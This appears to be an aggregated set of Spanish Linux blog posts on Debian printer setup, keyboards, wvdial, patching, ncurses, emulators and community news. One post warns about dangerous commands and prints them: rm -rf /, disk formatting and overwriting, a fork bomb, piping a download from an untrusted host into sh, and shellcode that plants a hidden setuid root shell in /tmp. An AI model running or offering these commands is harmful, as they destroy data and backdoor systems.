Así que ni modo, ahora a comenzar la cuenta de nuevo.
Bueno, aparezco para revivir el blog luego de una gran ausencia (me tuvieron que recordar que tenia blog XD) y vengo a poner una guia de como instalar la canon pixma IP1800 en debian, he visto muchos otros tutos que hay en internet, pero se aplican a ubuntu (versiones antiguas) y ya no aplican a debian, aqui esta lo que se necesita para hacerla funcionar:
1-Ingredientes:
apt-get install lo siguiente:
-cups
-foomatic-db
-gutenprint
-un navegador web.
-alien
####Edicion 12-02-09 #######
Las dependencias de los paquetes ya convertidos son estas:
apt-get install libc6 libcupsys2 libgtk1.2
2- Paso 1: bajarse el driver de la pagina de canon (rpm)
cnjbfilter-1800series.rpm
cnjbfilter-common.rpm
3- Instalar drivers
Primero generamos los debs para poder instalar con dpkg
alien -kc cnijfilter-common-2.70-1.i386.rpm
alien -kc cnijfilter-ip1800series-2.70-1.i386.rpm
luego instalamos los debs resultantes:
dpkg -i *.deb
4-Instalar la impresora:
Ahora entramos en la configuracion de cups, conectamos nuestra impresora al port de usb y luego vamos al navegador web y ponemos esta direccion:
http://localhost:631/
Esa es la direccion del servidor cups con el cual instalaremos la impresora, (esta forma es independiente del entorno de escritorio y del window manager).
Damos click al boton de “añadir impresora” y luego se nos preguntara el nombre, lugar y descripcion de la impresora (pueden poner lo que quieran aqui).
Luego nos preguntara cual es el tipo de impresora, veran (si se instalo correctamente el driver) que ya sale una etiqueta con el nombre de la impresora, la seleccionamos y vamos al fabricante “canon”, luego al driver “Canon IP1800″ y luego de esto nos pedira el user y contraseña “root y la pass de root” luego si todo funciono dira que la impresora ha sido agregada y podran probar imprimiendo la pagina de prueba.
Por el momento no hay un driver para amd64, y este servidor no ha intentado instalarla de ese modo (:p) asi que por momento esta impresora solo puede funcionar en 32 bits (si alguien ya la ha instalado en amd64 favor deje su comentario).


René Mayorga (aka El Churro) nos informa que el día de ayer ha sido ya seleccionado como un Debian Developer, por lo que le enviamos la más cordial felicitación porque no es fácil estar dentro de un gran equipo que día a día sigue desarrollando una distribución GNU/Linux de las más prestigiosas y estables en la actualidad y madre de muchas distros más (incluyendo a Ubuntu). Como dato importante, los DD (Debian Developers) son contaditos los que hay en latinoamérica, la mayoría son de Estados Unidos y Europa.
Si ven el mapa de la ubicación de cada desarrollador de Debian, ya pueden ver el puntito en El Salvador y otro en Costa Rica.
Así que esperamos que se le una más gente acá en El Salvador y Centroamérica, y es un ejemplo de como se puede innovar y ser la diferencia.
Saludos!!!
En otro de mis paseos por Internet me tope con algo bastante interesante (al menos seguro que para los geeks si), y no es ni más ni menos que una aplicación web que simula una shell no oficial de el archirecontraconocido buscador google..

Intente conseguir una verdadera shell conectándome por SSH con el user guest y pass guest y aunque el puerto esta abierto no me pude loguear con esos datos
Pero para todos aquellos que disfrutan hacer las cosas al más puro estilo geek, o que deseen buscar en google como lo haría Chuck Norris (bueno en realidad Chuck Norris no necesita buscar en Google), goosh es lo que andabas buscando.

Una de las cosas que no me gustaba con el hecho de cambiar de laptop era el tema del teclado, pues había tenido ya por buen rato el teclado en español en la HP, y ahora tendría que acostumbrarme de nuevo a no usar tildes, y la falta de la «ñ»
Si bien es cierto mi ortografía es mala, mejoro mucho en el tiempo que use teclado en español, pues ya no tenía excusa para no tildar las palabras que pensaba llevan tildes.
pero bueno, para los pobres desafortunados como yo, que tienen portátiles con teclado en Ingles, aquí la solución:
Esto, saliendo de mi /etc/X11/xorg.conf
17 Section “InputDevice”
18 Identifier “Generic Keyboard”
19 Driver “kbd”
20 Option “XkbRules” “xorg”
21 Option “XkbModel” “pc105″
22 Option “XkbLayout” “us”
23 Option “XkbVariant” “intl”
24 EndSection
básicamente con la variante “Intl” lo que hacemos es habilitar las teclas muertas en el teclado, es decir, para poner tildes puedo usar la tecla apostrofe «’» y luego la vocal; también se puede usar la combinación AltGr + la vocal, que también funciona. y para la ñ, igual, AltGr + n, o usando la tecla de la virgulilla como deadkey.


http://feedproxy.google.com/UniversoPlanetaLinux
Soy medio aficionado a esta radio (no como lo era de la Femenina en los 90, pero algo…) y desde hace unos ratos he querido escucharla en la oficina (sin radioreceptor), la primera opción fue el celular pero es incomodo, la otra opción era la pagina de internet pero en mi Iceweasel no va muy bien.
Así que mejor hacerlo desde la terminal:
mplayer mms://190.5.136.69/102nueve
Tengo una máquina con 512MB de RAM, y la tengo completamente con Ubuntu GNU/Linux versión 8.10 porque en teoría es un sistema mucho más liviano que por lo menos Windows XP.
Le he desactivado efectos gráficos como Compiz Fusion que ahora vienen integrados, para ahorrarme recursos, pero el problema está en que ahora en cada actualización los programas se están volviendo mucho más pesados, por ejemplo OpenOffice 3.0, Firefox 3.0, Gimp 2.6, entre otros…
La laptop se la he asignado a un colega para actividades de trabajo, a pesar de que se han sabido desarrollar en todas las actividades, escucho comentarios de que siente el sistema muy pesado, y eso que solamente usando suites ofimáticas y Mozilla Firefox, sin otro software.
Para variar, luego de una actualización, me aparece el siguiente mensaje:

Como en los viejos tiempos
Así que la conclusión es que ahora ni para con Linux, 512MB de RAM, ya son insuficientes, no tanto por el entorno de escritorio, sino por las aplicaciones.
Alguna sugerencia para mejorar el rendimiento de Ubuntu 8.10, sea bienvenido
Saludos!!!
No, no voy a comenzar uno de los tantos debates de la informática actual, simplemente posteo las imágenes con las que me tope en un foro
ROUND 1:

ROUND 2:
ROUND 3:

ROUND 4:

Al parecer las imagenes son de linuxadictos


Bueno la imagen es una risa completa pero es de las primeras que aparecen en Google al buscar algo relacionado con tux y la muerte xD
Entrando al tema, navegando por ahí me tope con este post donde menciona 7 comandos que ponen en completo riesgo nuestro OS.
Revisándolos..
rm -rf /
Bastante simple verdad, lo que hace es borrar todos los ficheros desde la raíz del sistema “/” de forma recursiva y sin confirmación alguna..
No se quien podria ejecutar algo así pero al menos puede servir para hacer alguna broma de mal gusto xD
char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68?
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99?
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7?
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56?
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31?
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69?
“\x6e\x2f\x73\x68\x00\x2d\x63\x00?
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Aparentemente el mismo comando anterior en forma hexadecimal.
mkfs.ext3 /dev/sda
Este se nota a simple vista lo que hace, va a formatear el disco duro usando el sistema de archivos ext3, bien puede variar algo y en lugar de ser /dev/sda podría ser /dev/hda.. Todo depende.
){:|:&};:
Una bomba fork, ejecuta procesos de forma indefinida hasta que el sistema deje de responder, en otras palabras una negación de servicio a nivel local.
No es tan dañino como los comandos anteriores pero seguro que nadie quisiera ejecutarlo.
any_command > /dev/sda
Una forma simple de arruinar la partición donde esta instalado el sistema, la salida del comando se va a escribir en /dev/sda (otra vez, podría ser /dev/hda/) dejándola completamente inservible.
wget http://some_untrusted_source -O- | sh
Este no garantiza que va a pasar algo malo, lo que hace es que descarga algo de una web ‘x’ y posteriormente lo ejecuta..
El riesgo corre en que no sabemos que estamos descargando.
mv /home/yourhomedirectory/* /dev/null
Este mueve todo lo de tu home a ese agujero negro llamado /dev/null xD
Claro que estos no son los únicos comando peligrosos, son simples formas un tanto ingeniosas de ocupar los mismos recursos del sistema, se pueden dar variaciones y cosas que de igual forma sean fatales para el pingüino (Linux):
mv /* /dev/null
rm -r /etc/
Y varias formas más de combinar estos comandos, claro que para que funcionen deben ser ejecutados como root.
En Youtube andan varios vídeos en su mayoría del famoso comando rm -rf /:
Ahora y a modo de actualización, les comento que no se que hacer con el blog en los próximos días, digo esto porque en el hosting actual solo va a seguir online hasta el próximo 2 de enero xD, tengo pensada una jugada para recuperar y poner todo online de vuelta ese mismo día, pero también quizás llego el momento de dar el salto a un host de pago y un dominio de pago para seguir creciendo..
Aunque puede también que me de un pequeño receso de la blogosfera y luego regrese junto con el proyecto del planeta (cosa que traigo pensada desde hace muchos meses pero nunca la pongo en practica).
Pase lo que pase gracias a todos los que se toman unos minutos para pasar y leer lo que escribo en este blog
Era un día cualquiera y viajaba como de costumbre en uno de los populares microbúses del transporte colectivo del gran San Salvador, mientras escuchaba en la radio un remix de Zombie me llego a la mente la curiosidad de si existían programas similares al conocido VirtualDJ o Atomix para GNU/Linux.
La respuesta es si.
Después de buscar por unos momentos en Google llegamos al primer programa:
El Ultramixer, que es un programa estilo DJ para mezclar y aplicar efectos a archivos de audio.
Muy similar al VDJ y Atomix, entre las opciones se encuentras las comunes de todo Software de mezcla, aumentar y disminuir el pitch de la canción, tener las opciones de una tornamesa y así poder reproducir 2 pistas a la vez, también detalles como el loop entre otras cosas.
Lo básico para poder realizar mezclas al más puro estilo de un DJ geek.
Sin embargo también tienen peros, empezando porque no es Software libre ni es exclusivo para linux, sin embargo este ofrece 3 opciones de registro y activación siendo una de estas la free que al menos yo no vi tan mal de no ser por un aviso que se mantiene 25 segundos en cada iniciada de la aplicación.
Esta programado en java por lo cual es una aplicación algo robusta, y un problema bastante grande es que solo permite mezclar en tiempo real, en otras palabras no se pueden grabar las creaciones que hacemos..
Este problema me lleva al siguiente programa.
El Audacity que es un soft también para ediciones de audio, aunque de apariencia es menos estético que el UltraMixer es bastante poderoso.
Entre las opciones tenemos las básicas de aumentar y disminuir el pitch, recortar trozos de las canciones y moverlas a diferentes tiempos, así como aplicarle unos cuantos efectos y a diferencia del otro este si es Software libre por lo cual esta en constante desarrollo y si permite grabar y guardar las pistas modificadas.
Entre otras opciones como la capacidad de eliminar ruidos en archivos de audio.
Aparte que es fácil de usar y bastante intuitivo.
2 buenos programas que pueden servir a la hora de editar un archivo de audio o para simple entretenimiento en un rato de ocio puro..
El UltraMixer se puede descargar de la sección de Downloads en su web eligiendo por su puesto la descarga para linux:
Y el Audacity se encuentra en los repositorios (al menos los de Debian) por lo cual a mi me basto hacer un:
aptitude install audacity
PD: El Sábado es el superclasico español, espero con ansias ver esa revancha de la tamporada pasada

Es feo, pero es más feo cuando por la casualidad también resulta que tu mail se fue a una lista de correos, y que luego lo indexe google y ese error quede replicado en muchos lados..
ejemplo:
http://lists.debian.org/debian-devel-spanish/2008/12/msg00004.html
Y sí, este post con el enlace talvez también ayude a google.
La mejor respuesta hasta ahora: http://lists.debian.org/debian-devel-spanish/2008/12/msg00009.html

Dentro de las charlas algunas cosas que gustaron fueron Gambas, Tux Paint y el CD de instalacion de Debian Etch con KDE...
Hace algunos dias mi hermano me pididio una demo de una futura ampliacion de la casa... so imagine como podria hacercelo... y pues aparecio blender...
En esta ocasion pondre algunas páginas que seran de mucha utilidad para los debianeros (y derivados) y algunas quizas sean de ayuda para los usuarios de software libre en general:
1- Debian Release Critical bugs:
Si alguien se pregunta cuanto falta para que una versión de debian llegue a estable aqui puede ver un buen indicador: la grafica verde representa los bugs “Release Critical” (o críticos para lanzamiento) que son los que impiden que debian sea considerada estable, cuando la grafica verde llegue a 0 o muy cerca de 0 entonces se lanzara lenny.
http://bugs.debian.org/release-critical/
2- Debian GNU/Linux device driver check page
Si aunque demos el comando “lspci” no podamos averiguar cual es el driver o el modulo necesario para usar nuestro hardware aqui lo podemos averiguar, incluso veremos si nuestro hardware esta soportado o no en linux, y si esta soportado nos dice que driver es el que lo activa.
http://kmuto.jp/debian/hcl/index.cgi
3- Debian Multimedia
No puedes reproducir algun tipo de pelicula o audio por que en los repositorios oficiales de debian no estan los paquetes necesarios? , debian multimedia es tu solución.
Aqui se compilan los paquetes que son especificamente para multmedia o que por causas de licencia no son “libres segun debian”.
Para usarlo solo hay que agregar un mirror de la pagina a nuestro sources.list y listo
.
http://debian-multimedia.org/

Hace un tiempo nadie se preocupaba por tener acceso a Internet desde el bar de la esquina o mientras íbamos de campamento, pero ahora como que todo eso va cambiando, y ahora ya hay borrachos que prefieren cervezas en compañía del Internet, aunque sea para estar pendiente del IRC o el correo.
Así que días atrás me puse a jugar con mi celular Sony Ericsson k550i, un móvil nada sorprendente, pero útil para ponerlo a funcionar como módem de forma fácil.
Primero, conectarlo con su cable USB y activarlo en modalidad de *Teléfono*, lo demás es simplemente esto:
wdialconf
Y luego editar /etc/wvdial.conf para colocarle los datos de nuestro ISP (el numero a marcar, el usuario y contraseña), que en mi caso luce algo así:
[Dialer Defaults]
Init1 = ATZ
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
Modem Type = USB Modem
Baud = 460800
New PPPD = yes
Modem = /dev/ttyACM0
ISDN = 0
Phone = 22677555
Password = navegante
Username = libre
Y como ultimo paso marcar con wvdial
Pues como dije antes, algo nada sorprendente pero de cierta utilidad en casos extremos.
Veo que nadie puso ningún post al respecto y a mi en lo personal me parece un muy buen servicio.
Y puesto que el tema fue portada incluso de slashdot este día me parece buena idea seguir haciendo un poco de publicidad al tema; Básicamente screenshots.debian.net es un servicio web no-oficial de Debian pero muy atractivo, en el sitio se pueden encontrar screenshots de las aplicaciones incluidas en los repositorios de Debian, cualquier usuario puede colaborar subiendo screenshot de las aplicaciones a manera que el sitio contenga una buena base de datos para lograr saber que estoy instalando, o como se ve una aplicación X antes de instalarla, sin más la invitación a que suban sus screenshots al sitio.
Tal como lo decía Victorino Ezequiel Ostorga en su post, eso del 666 siempre causa morbo y precisamente hoy me fijo en la cantidad de artistas indexados en mi reproductor de audio y resulta otro 666.

Apocalíptico
#planetalinux @ irc.freenode.net
Siempre es bueno leer calendar…
calendar -t 24.10 -l 0
En primera línea, o si lo prefieren…
calendar -t 24.10 | grep Boromir
De repente uno olvida que el 24 de octubre Boromir llega a Rivendel motivado por las dudas surgidas después de un sueño profético, hecho que luego sirvió para conformar la Comunidad del Anillo que tendría como objetivo principal llevar el _preciado tesoro_ hasta Mordor y destruirlo en el Monte del Destino.
Imprescindible!
Definitivamente cómico, para ustedes desde mi mail.log :
450 4.1.8 <root@icantbelieveitsnotspam03.z>: Sender address rejected: Domain not found; from=<root@icantbelieveitsnotspam03.gizmo5.com> to=<rmayorga@debian.org.sv> proto=ESMTP helo=<icantbelieveitsnotspam.gizmo5.com>

Ya era hora de escribir otro tutorial
, y elegí escribir sobre los tan comunes parches que por x razón ocupamos a cada momento.
(En GNU/Linux)
Comencemos por el concepto:
Cita wikipedia:
En informática, un parche es una sección de código que se introduce a un programa. Dicho código puede tener varios objetivos; sustituir código erróneo, agregar funcionalidad al programa, aplicar una actualización, etc.
Ahora vamos a aclarar que el patching se pueden aplicar a 2 tipos de cosas:
Por ahora vamos a concentrarnos en el primer tipo.
/*Parcheando un código fuente*/
Supongamos que entramos a una web de algún proyecto open source, el código fuente de la aplicación que se esta creando en el proyecto esta disponible desde allí, nos ponemos a revisar el código y vemos algo como esto:
#include <stdio.h>
main() {
int *pnt;
int i, a[3]={1,2,3};for(i=0; i<3; i++) {
pnt = &a[i];
printf(”Puntero = %d\n”, pnt);
}return 0;
}
(Obviamente no es un programa real ni parte de ningún otro, solo un ejemplo que escribí que va a servir para demostrar el uso de los parches)
Ohh, ahí hay un error en una linea, si se compila de esa forma el programa no va a funcionar como debe.
printf(”Puntero = %d\n”, pnt);
En esa parte, hay un error en el acceso del contenido del puntero, falta el *.
Un error mínimo que no va a dar ninguna clase de problemas en la compilación pero que haría que el programa fuera inútil, sabiendo esto ¿que podríamos hacer?.
Pues una opción seria aplicarle un parche que corrija el error.
¿Como hacerlo?
En GNU/Linux disponemos de dos herramientas que hacen el trabajo extremadamente fácil.
Lo primero seria guardar el código fuente, como es un ejemplo, que tenga de nombre programa1.c , ahí tendríamos el programa tal cual esta con el error incluido, ahora creo otro archivo con el mismo código pero cambiado la linea del error por esta:
printf(”Puntero = %d\n”, *pnt);
De hecho ese seria el único cambio (en este caso agregar el *), el código reparado lo guardamos como programa2.c
Ahora viene la magia, diff es un programa que compara 2 archivos y muestra las diferencias de este, en este caso eso es justo lo que necesitamos.
La sintaxis:
diff programa1.c programa2.c > parche.patch
Analizando la linea notamos que compara los dos programas y las diferencias las escribe en un nuevo archivo (parche).
Ya tenemos el parche, ahora solo falta aplicarlo, esto lo vamos a hacer con otra aplicación de los sistema unix que se llama patch.
Lo que hace este es que toma las diferencias de 2 programas (el parche) y esta diferencia la aplica al archivo original.
La sintaxis:
patch -p1 -i parche.patch programa1.c
Analizando, el -p1 se puede omitir en este caso, se ocupa más que todo cuando hay parches en directorios diferentes y sirve para omitir los slash y la ruta superior, el -i viene de input y lee el archivo parche.patch
Si todo salio bien el sistema arroja este mensaje:
patching file programa1.c
Y si no hay errores el programa ya debería estar parchado
Ahora podemos enviarle el parche a los lideres del proyecto para que lo reparen
.
/*Parchando un archivo binario*/
Ahora vamos al segundo caso, que pasa si el código fuente del proyecto ya fue compilado (aun con el error) y también ya fue distribuido.
Primero seria sustituir el archivo de la descarga de la web por el correcto, pero.. ¿y los usuarios? , cuando son programas muy grandes no se les puede decir que desinstalen todo y vuelvan a bajar el programa y después volver a instalarlo, en este caso es mejor aplicarle un parche que solucione el error.
Tomando como ejemplo el mismo programa, el mal acceso al contenido del puntero hace que muestre datos completamente diferentes a lo que debería:

¿Como generar el parche?, pues relativamente es bastante fácil, y vamos a usar las mismas herramientas que cuando parchamos el código fuente.
Como anteriormente teníamos el código fuente original (con el error) programa1.c y el código reparado programa2.c, vamos a compilar los 2 código para generar 2 binarios.
gcc programa1.c -o programa1
gcc programa2.c -o programa2
Ahora vamos a compararlos de esta manera y a generar el nuevo parche:
diff -a –binary programa1 programa2 > patch
Revisando el comando, diff es la aplicación, el -a indica que va a tratar los archivos como texto y va a comparar linea por linea, el –binary que va a ser una comparación binaria y el parche va a ser de la misma forma, programa1 y programa2 son los archivos ya compilados y el > parche indica que la comparación va a generar un parche de nombre parche (xD) .
Con eso ya tenemos todo listo, ¿como lo aplicamos?.
Pues bastante parecido al ejemplo anterior y siempre usando patch.
La sintaxis del comando en este caso resulta bastante simple:
patch –binary programa1 parche
patch es la aplicación encargada de parchar, –binary que va a ser un trabajo binario, programa1 es el fichero al cual le vamos a aplicar el parche y parche es el nombre con el que guardamos el patch (todo debe estar en el mismo directorio).
Si tenemos éxito en estos 2 pasos tendríamos que tener algo parecido a esto y con buenos resultados
:

Ya sirve!!
En caso de que quisiéramos facilitarle aun más el trabajo al usuario y evitar que se ponga a ejecutar comandos podríamos hacer todo automáticamente con un pequeño script en bash:
#!/bin/bash
cd /ruta donde se encuentra el binario/
wget www.webdelproyecto/parche
patch –binary programa1 parche
y con eso solo tendría que ejecutar el scrpt.
P.e: ./parcheprograma.sh
Como se dieron cuenta es un tutorial sencillo, sin muchas complicaciones pero que se puede ampliar mucho más dependiendo la cantidad de ficheros que queramos parchar el modo de hacerlo entre otras cosas, pero esto sirve como algo introductorio, hay muchos más parámetros de estas 2 herramientas que pueden conocer leyendo los manuales de estos :
man diff
man patch
Y con esto termina todo, un saludo a los que leen.
Referencias:
–
/* By Lyoko
www.lyoko.sv.tc xD */

A vario rato de haber nacido la lista de SL-Centroamérica y varios rato de tratar de crear lazos entre las comunidades de la región, que a ciencia cierta es una región bastante pequeña y geográficamente accesible; se comienza a ver ya un poco de frutos, gracias a los contactos que se lograron y a la gente con tan buena disposición, los lazos entre los grupos de usuarios de la región parecen estar mucho mejor que hace 3 o 4 años.
Justo hace un par de semanas logramos coincidir varios amigos de la región, gente de Nicaragua, El Salvador y Venezuela y el Congreso Guatemalteco de Software Libre; lo cual fue muy bien, pues resurgió de nuevo la idea de organizar un encuentro o una Jornada regional de Software libre donde participen los grupos de usuarios de la región.
Por ahora el tema se vuelve a retomar, se creo ya una lista de correo que hospeda la gente de Costa Rica y la Gente de Nicaragua se ofreció ya a ser los primeros organizadores.
Las fechas proyectadas son para Junio de 2009, por lo que estamos a buen momento de organizar un muy buen evento y convocar participación de la gente de la región.
Espero seguir dando avances del tema, y espero en su momento poder invitar más gente a que se una al evento cuando esto este más organizado prometo postear más detalles
por ahora se puede ver un poco de la organización y de la información en el sitio http://sl-centroamerica.org


La verdad los codenames de ubuntu cada día me sorprenden aun más
Prefiero los personajes de Toy Story de Debian
Saludos!!
(vía geeksaresexy)
Bueno, una entrada dedicada a unos grandes clásicos

Hace cuanto tiempo el SNES estaba en su apogeo aquí en el país?, unos 11 años?
Si algo recuerdo bastante bien es que en esos tiempos mis tíos vivían bastante cerca de mi casa, así que varios tardes de la semana la pasábamos con ellos, a mi me gustaba bastante porque me dejaban jugar con su Super Nintendo
, si, cuanta diversión me traia un juego que ahora es mítico y que se llamaba Donkey Kong Country.
Simplemente para un niño de 7 años pasar casi toda la tarde jugando eso era lo mejor que podía existir, ¿pero por qué hablo de esto aquí?.
Porque hasta hace poco me di cuenta que existe un emulador del SNES Para Linux de nombre ZSNES xD, en la web oficial del proyecto esta la descarga de las fuente para compilarlo uno mismo.
Cosa que me dispuse a hacer pero que me dio error porque tenia que compilarlo usando una versión del gcc menor a la que yo tengo instalada, entonces pase un buen rato buscando una solución para eso y no tener que hacer el downgrade.. Después de varias búsquedas con google, probar algunos parches (Creo que la próxima entrada del blog va a ser sobre este tema) y otras cosas, me di cuenta que el ZNES estaba en los repositorios
jaja, hasta ya estaba pensando que después de compilarlo lo iba a empaquetar en un .deb y después lo iba a subir a Internet para ponerlo a disposición de cualquiera :S .
Entonces.. ya no era necesario compilarlo sino que solo instalarlo con el aptitude:
aptitude install zsnes
Claro que ahora con el emulador instalado, necesitaba buscar algunos juegos y como es obvio el primero que fui a buscar fue el favorito de mi niñes, después de pasar por unos cuantos lugares encontré el ROM listo para ser descargado, luego de un rato ya estaba jugando otra vez con Donkey Kong:

Pero al parecer el ZSNES da problemas con el sonido pero que se puede solucionar instalando esto:
libsdl1.2debian-oss
Y cargando el emulador con estos parámetros:
zsnes -ad sdl
Pero retrocediendo un par de años, mi diversión no era el SNES si no que el histórico NES :

Já , quien no se va a acordar de eso, el icono de este era el recontra conocido juego de Super Mario Bros, y ahora viene el porque del titulo del blog.. Me entere que en aquel juego existe un error de programación, quizá no error pero si un nivel que probablemente era con el que los desarrolladores testeaban el juego y que olvidaron eliminarlo o no lo quisieron hacer.
El famoso mundo -1 o el minus world, un nivel donde solo se puede llegar atravesando una pared y después entrar por una tubería y automáticamente llegas al mundo negativo, donde por más que llegues al final este te regresa al principio quedando en un bucle infinito donde al pasar los segundos se muere por la falta de tiempo.
Se puede leer bastante de eso en este post de Taringa!.
Al saber esto por supuesto que quería probarlo yo mismo, por lo que me puse a buscar un emulador de NES para Linux y encontré el iNES, este si no esta los repositorios por lo que hay que bajarse los binarios desde la web y correrlo con la terminal de esta manera:
./ines32 nombredelrom.nes
Para ver la ayuda del programa se hace asi:
./ines32 -help
Ya con el emulador y con el Rom de Mario también listo me puse a intentar llegar al minus world sin éxito alguno xD

Pero en el pack donde venia el Rom del Super Mario no venia solo, también venia el Super Mario 2 y 3.
Este ultimo mi favorito de esta consola, y también el juego que más me pudo enviciar en aquellos tiempos, que a pesar de no ser un juego con gráficas sorprendentes como los de ahora, de tener un control rectangular con solo 8 botones que hacia que dolieran los dedos al pasar el tiempo, tenia ese toque que podía hacer que todo niño se sintiera feliz con estar jugándolo.

Cuando me puse a jugarlo y escuche todos los sonidos y la música del juego por un momento sentí como si hubiera retrocedido el tiempo por unos segundos y otra vez tuviera 6 ó 7 años y estuviera una tarde en mi casa pasando uno de aquellos momentos de calidad
-
Grandes clasicos, parte de la historia y que siempre valen la pena recordarlos.

En la entrada anterior puse una captura de mi vim, pero que no coloreaba las funciones (en ese momento no sabia por qué había dejado de hacerlo xD).
Resulta que anteriormente ya había reinstalado vim pero no fue solo una reinstalación sino que también le pase el parámetro –purge (borre toda la configuración y la deje como estaba por default), y para que vim coloree como debe de ser hay que descomentar un par de lineas de este archivo:
/etc/vim/vimrc
Descomentar la linea:
syntax on
Y también:
set background=dark
Guardar y con eso ya debería mostrarse como debe:



El titulo esta algo dramático pero sirve para llamar la atención
..
Como un pequeño offtopic:
No se como paso pero se habían borrado los comentarios de aproximadamente los últimos 15 días , sepa si moví algo sin querer pero de que paso, paso, pero por suerte el lunes pasado me decidi a sacar el primer backup del blog xD, (si, el primero) , gracias a eso puede restaurar esos comentarios desde el phpmyadmin
.
Ahora al tema principal:
Una de las virtudes del humano es el poder evolucionar y progresar a cosas mejores, es nuestra naturaleza y se aplica incluso a la informática. Los tiempos cambian y la era en la que MSDOS era el único rey ya termino, sin embargo y por desgracia todavía quedan secuelas de ese “reinado” y un claro ejemplo es el uso que todavía se le sigue dando al mítico TURBO C , y que muchos todavía nos vemos obligados a escribir programas exclusivos para windows en las universidades y/o trabajos.
Para los que estan relacionados con el medio les va a sonar familiar la librería conio.h, si, esa misma cabecera de borland que usamos a cada momento para escribir los programas en modo texto y para ocupar las famosas funciones, getch(), clrscr(), gotoxy(x,y), y que es el impedimento #1 de porque no es común tener programas portables de windos a linux..
(conio.h no es una librería de GNU/Linux).
¿Entonces ante esta problemática que se puede hacer?.
Para nuestra fortuna y como era de esperarse ya pensaron en eso y tenemos una gran alternativa al conio.h, borland y al turbo c que se llama Ncurses, me voy a ahorrar el trabajo de dar el concepto porque ya esta explicado en la wikipedia, asi que solo estan a un click de conocerlo
.
La instalación es fácil en debian y derivados, basta con hacer:
apt-get update
apt-get install ncurses*
Ahora, un programa sencillo que use ncurses seria uno que te pida el nombre y después lo imprima en pantalla xD (uy) .
En ncurses la sintaxis es similar a si estuviéramos usando el stdio.h y conio.h, sin embargo hay algunas cosas nuevas que le dan más potencia a curses y que hacen que varien algunas cosas un poco con respecto a lo que estamos acostumbrados.
A lo bueno (escribir un programa usando ncurses) :
Lo primero y obvio incluir la cabecera en el programa:
#include <ncurses.h>
después viene la declaración de la función principal, la variable del tipo char y ahora algo importante que es iniciar la pantalla que se hace con la función initscr() , podemos borrar los datos que ya pudieran estar en la pantalla con erase() (vendría siendo el equivalente al clrscr() del conio.h)
La impresión se hace con printw(), y la sintaxis es la misma que el printf(), la lectura de datos se hace con scanw() y la sintaxis es la misma que el scanf(), por ultimo si queremos esperar un caracter del teclado se hace lo mismo que en turbo c, getch(), ahora algo importante también, cerrar la ventana con endwin() y sin olvidar el común return 0 .
queda de esta forma:

Nótese que estoy usando nada más el gedit que viene incluido en gnome, no necesito más.. después solo es cuestión de guardar el programa con una extensión .c
Si quisiéramos sentirnos más leets a la hora de programar podemos usar el vim para codear en la misma consola:

/* No se porque no me coloreo las funciones ni resalto nada
, pero en un vim sin problemas se ve bastante bien xD */
¿Y como se viera el programa compilado y ejecutado?

/* Para compilar (via terminal):
gcc ncurses.c -o ncurses -lncurses
gcc es el compilador de linux, ncurses.c es el código fuente del programa ncurses es el nombre con el que se va a guardar el programa y el -lncurses es para obligar al compilador a usar la librería. */
Bonito verdad?
, ese mismo programa se podría hacer en turbo c usando las librerías nativas de el:

Y ejecutándolo:

Pero esta no es toda la grandeza de usar ncurses, sino que es mucho más potente y amplio que usar conio.. con ncurses se pueden hacer las mismas cosas que con conio y mejor, p.e:
El uso de colores en la consola, permite hacer programas que funcionen con pestañas
, entre otras cosas. Espero poder enseñarles otro programa en alguna otra entrada cuando ya haya ampliado más el tema
.
Para ver la documentación se puede con:
man ncurses
Y para ver la documentación de las funciones que este trae con:
man función
Hablando un poco del entorno de programación si a alguien no le gusta usar gedit o vim siempre pueden hacerlo por medio de anjuta para más comodidad
El tema de ncurses es largo, hay documentación en Internet pero a mi parecer todavía esta deficiente, asi que yo también ando en la búsqueda de encontrar información mas completa, pero por el momento y si les interesa siempre se le puede preguntar al gran google.
¿Pero los programas escritos usando ncurses como los podemos usar en Windows?
Pues se puede con PDCurses pero el tema lo dejo para otra entrada del blog, porque creo que ya se agrando mucho esta xD
–
—–
Una de las frases que más he escuchado durante toda mi vida por parte de mi familia, es que en un medio laboral competitivo los que logran algo son los mismos que han logrado diferenciarse del resto, entonces lo mejor es siempre aprender cosas nuevas y por qué no transmitirlas a gente que les interese tanto como a mi?
Saludos a los que leen !


#include
#include
#include
#include
#includeio.h>
>
// #define Direcparal 888
// 888 deciman = 0x378 Hexagesimal
#define Direcparal 0x378
void gcd0(void) {
//Le damos permiso para acceder al puesto lpt
ioperm(Direcparal,1,1);
//Cambiamos el estado del pin 4 de datos con 0001 en binario = 0x4 en Hexa
printf("Led encendido /n");
outb(0x4,Direcparal);
//Esperamos un rato
sleep(10);
//Cambiamos el estado del pin 4 de datos con 0000 en binario = 0x en Hexa
printf("Led apagado /n");
outb(0x0,Direcparal);
//Cerramos el acceso al puesrto
ioperm(Direcparal,1,0);
}
int main (void) {
gcd0();
return 1;
}
Pues resulta que un día dando click en los cambios recientes de wiki.debian.org encontre un concurso para adivinar la fecha en que el BTS llegaría al medio millón de bugs http://wiki.debian.org/500000thBugContest
Cuando eso sucedio, me inscribí y la fecha que elegí fue la fecha de mi cumpleaños, pense pasar como cualqueir otro que pone una fecha cualquiera, pero bueno; resulta que ahora se reporto dicho bug y /me fue el que quedo cerca de la fecha; en mi TZ solo por dos horas pero parece que igual fui el que llego mas cerca.
Que bien que fuera en base 10 y no 16
$rmayorga++

Pasando por alto los misterios y los parecidos curiosos del logo (nótese que la comparación va más allá haciéndola con una webcam y el zorro (o panda) de firefox xD
), posteo la forma para ejecutar el navegador estrella de google en los sistemas GNU/Linux
.
Hace unos días lanzo en primicia un beta de su navegador propio llamado Google Chrome, por desgracia solo disponible por el momento para windows.
Bastante simple pero funcional como es la costumbre de Google, asi que para gente como yo que no necesitamos mucho para ser feliz es un buen producto xD
Ahora a lo bueno, ¿Como ejecutarlo en Linux? .
